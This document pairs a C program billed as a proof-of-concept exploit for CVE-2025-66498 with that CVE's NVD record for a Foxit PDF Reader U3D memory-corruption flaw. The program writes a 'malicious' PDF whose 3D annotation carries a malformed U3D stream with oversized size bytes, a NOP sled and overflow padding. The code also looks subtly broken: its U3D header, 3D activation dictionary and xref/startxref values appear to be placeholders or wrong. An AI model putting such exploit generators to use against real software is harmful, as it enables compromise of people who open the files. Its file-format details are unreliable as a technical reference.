CVE-2025-66498

// CVE-2025-66498 PoC - Malformed U3D Data Trigger // This is a conceptual proof of concept for demonstrating the memory corruption // Note: This code is for educational and security research purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // U3D file format magic number #define U3D_MAGIC 0x55334446 // 'U3DF' // Construct malformed U3D data that triggers bounds check failure unsigned char* create_malformed_u3d_data(int* size) { // Allocate buffer for malformed U3D data unsigned char* data = (unsigned char*)malloc(1024); memset(data, 0, 1024); // U3D file header data[0] = 'U'; data[1] = '3'; data[2] = 'D'; data[3] = 'F'; // Chain markers - malformed for triggering vulnerability // Modifier Chain with invalid block size data[4] = 0x00; // Chain flags data[5] = 0x00; // Chain ID data[6] = 0xFF; // Invalid size byte 1 data[7] = 0xFF; // Invalid size byte 2 data[8] = 0xFF; // Invalid size byte 3 data[9] = 0xFF; // Invalid size byte 4 // Fill with NOP sled and shellcode pattern for (int i = 10; i < 100; i++) { data[i] = 0x90; // NOP instruction } // Add padding to trigger buffer overflow memset(data + 100, 0x41, 900); *size = 1024; return data; } // Function to create a minimal malicious PDF with U3D content void create_malicious_pdf(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; // PDF header fprintf(fp, "%%PDF-1.7\n"); // Object 1: Catalog fprintf(fp, "1 0 obj<</Type/Catalog/Pages 2 0 R>>\nendobj\n"); // Object 2: Pages fprintf(fp, "2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>\nendobj\n"); // Object 3: Page with 3D annotation fprintf(fp, "3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]"); fprintf(fp, "/Annots[4 0 R]>>\nendobj\n"); // Object 4: 3D Annotation with U3D stream fprintf(fp, "4 0 obj<</Type/Annot/Rect[0 0 100 100]/Subtype/3D"); fprintf(fp, "/3DA<</OnInstantiate/AE/AE/AOS/AOS/SU/PO>>"); fprintf(fp, "/3DD<</BS<</Type/3DBackground/ON true>>>>"); fprintf(fp, "/Contents 5 0 R>>\nendobj\n"); // Object 5: U3D stream with malformed data fprintf(fp, "5 0 obj<</Length 1024/Subtype/3D/Subtype2/U3D>>\nstream\n"); int size = 0; unsigned char* u3d_data = create_malformed_u3d_data(&size); fwrite(u3d_data, 1, size, fp); fprintf(fp, "\nendstream\nendobj\n"); fprintf(fp, "xref\n0 6\n0000000000 65535 f\n"); fprintf(fp, "trailer<</Size 6/Root 1 0 R>>\nstartxref\n0\n%%%%EOF\n"); free(u3d_data); fclose(fp); } int main() { printf("Generating CVE-2025-66498 PoC PDF...\n"); create_malicious_pdf("CVE-2025-66498-poc.pdf"); printf("PoC PDF created: CVE-2025-66498-poc.pdf\n"); printf("WARNING: This file is for research purposes only!\n"); return 0; }

{"cve": {"id": "CVE-2025-66498", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2025-12-19T07:16:02.997", "lastModified": "2025-12-23T17:37:08.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A memory corruption vulnerability exists in the 3D annotation handling of Foxit PDF Reader due to insufficient bounds checking when parsing U3D data. When opening a PDF file containing malformed or specially crafted PRC content, out-of-bounds memory access may occur, resulting in memory corruption."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.1.23955", "matchCriteriaId": "AAE67A0F-4DFE-4268-90D5-789CCA2155A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.1.33197", "matchCriteriaId": "F1694C31-1717-40B3-9E11-773E39F288A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.2.1.33197", "matchCriteriaId": "4AC7F7F1-B05D-48C7-9DD3-CFC7CBA2E275"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.1.33197", "matchCriteriaId": "538915D1-1531-44A8-B15D-BCFE1356BCB5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}